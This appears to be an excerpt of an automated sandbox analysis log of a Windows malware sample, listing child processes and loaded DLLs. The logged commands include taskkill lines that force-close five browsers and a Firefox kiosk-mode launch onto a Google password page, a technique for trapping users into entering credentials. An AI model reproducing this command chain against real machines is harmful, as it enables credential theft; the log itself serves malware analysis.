Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe "C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe "C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe "C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe "C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe"
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe "C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe"
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2252 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f00b1ec6-11cd-45b2-bfc2-9bdb63de9eab} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba486dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3132 -parentBuildID 20230927232528 -prefsHandle 2956 -prefMapHandle 3660 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6852bc5e-f575-47e1-8a9b-615e72a256ad} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba4882d10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2268 -prefMapHandle 2252 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec19fbe6-5676-42fb-b5cd-139fd98d46db} 3120 "\\.\pipe\gecko-crash-server-pipe.3120" 1698bf71110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
